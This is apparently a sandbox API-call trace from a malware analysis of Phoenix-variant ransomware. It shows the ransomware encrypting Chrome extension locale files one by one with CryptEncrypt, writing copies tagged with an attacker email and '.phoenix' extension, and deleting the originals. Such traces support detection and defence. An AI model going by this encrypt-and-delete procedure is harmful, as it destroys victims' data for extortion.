	[0255.101] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json")) returned 1
	[0255.102] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.102] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.103] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=272) returned 1
	[0255.103] CloseHandle (hObject=0x2b4) returned 1
	[0255.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json")) returned 0x20
	[0255.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.103] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.103] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.103] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.103] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.104] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0255.104] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.104] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x110, lpOverlapped=0x0) returned 1
	[0255.105] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0255.105] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0255.106] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0255.106] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.106] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.106] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0255.106] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.107] CryptDestroyKey (hKey=0x151700) returned 1
	[0255.107] CloseHandle (hObject=0x2b4) returned 1
	[0255.107] CloseHandle (hObject=0x300) returned 1
	[0255.107] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json")) returned 1
	[0255.108] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.108] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.109] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=227) returned 1
	[0255.109] CloseHandle (hObject=0x300) returned 1
	[0255.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json")) returned 0x20
	[0255.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.109] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.109] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.109] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.109] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1513c0) returned 1
	[0255.110] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.110] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe3, lpOverlapped=0x0) returned 1
	[0255.111] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0255.111] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0255.112] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0255.112] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.112] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.112] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.112] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.112] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0255.112] CloseHandle (hObject=0x300) returned 1
	[0255.112] CloseHandle (hObject=0x2b4) returned 1
	[0255.113] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json")) returned 1
	[0255.114] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.114] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.114] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=223) returned 1
	[0255.114] CloseHandle (hObject=0x2b4) returned 1
	[0255.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json")) returned 0x20
	[0255.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.115] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.115] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.116] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.116] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.116] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0255.116] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.116] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xdf, lpOverlapped=0x0) returned 1
	[0255.117] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0, dwBufLen=0xe0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe0) returned 1
	[0255.117] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe0, lpOverlapped=0x0) returned 1
	[0255.118] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0255.118] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.118] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.118] CryptDestroyKey (hKey=0x151640) returned 1
	[0255.119] WriteFile (in: hFile=0x300, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.119] CryptDestroyKey (hKey=0x151200) returned 1
	[0255.119] CloseHandle (hObject=0x2b4) returned 1
	[0255.119] CloseHandle (hObject=0x300) returned 1
	[0255.119] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json")) returned 1
	[0255.120] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.120] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.121] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=260) returned 1
	[0255.121] CloseHandle (hObject=0x300) returned 1
	[0255.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json")) returned 0x20
	[0255.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.121] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0255.121] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.121] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0255.121] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.122] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0255.122] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.122] ReadFile (in: hFile=0x300, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x104, lpOverlapped=0x0) returned 1
	[0255.261] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0255.261] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0255.329] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0255.329] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0255.329] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0255.329] CryptDestroyKey (hKey=0x151740) returned 1
	[0255.329] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0255.340] CryptDestroyKey (hKey=0x151080) returned 1
	[0255.340] CloseHandle (hObject=0x300) returned 1
	[0255.341] CloseHandle (hObject=0x2b4) returned 1
	[0255.341] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json")) returned 1
	[0255.342] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0255.342] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.342] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=226) returned 1
	[0255.342] CloseHandle (hObject=0x2b4) returned 1
	[0255.342] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json")) returned 0x20
	[0255.343] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.343] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0255.343] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
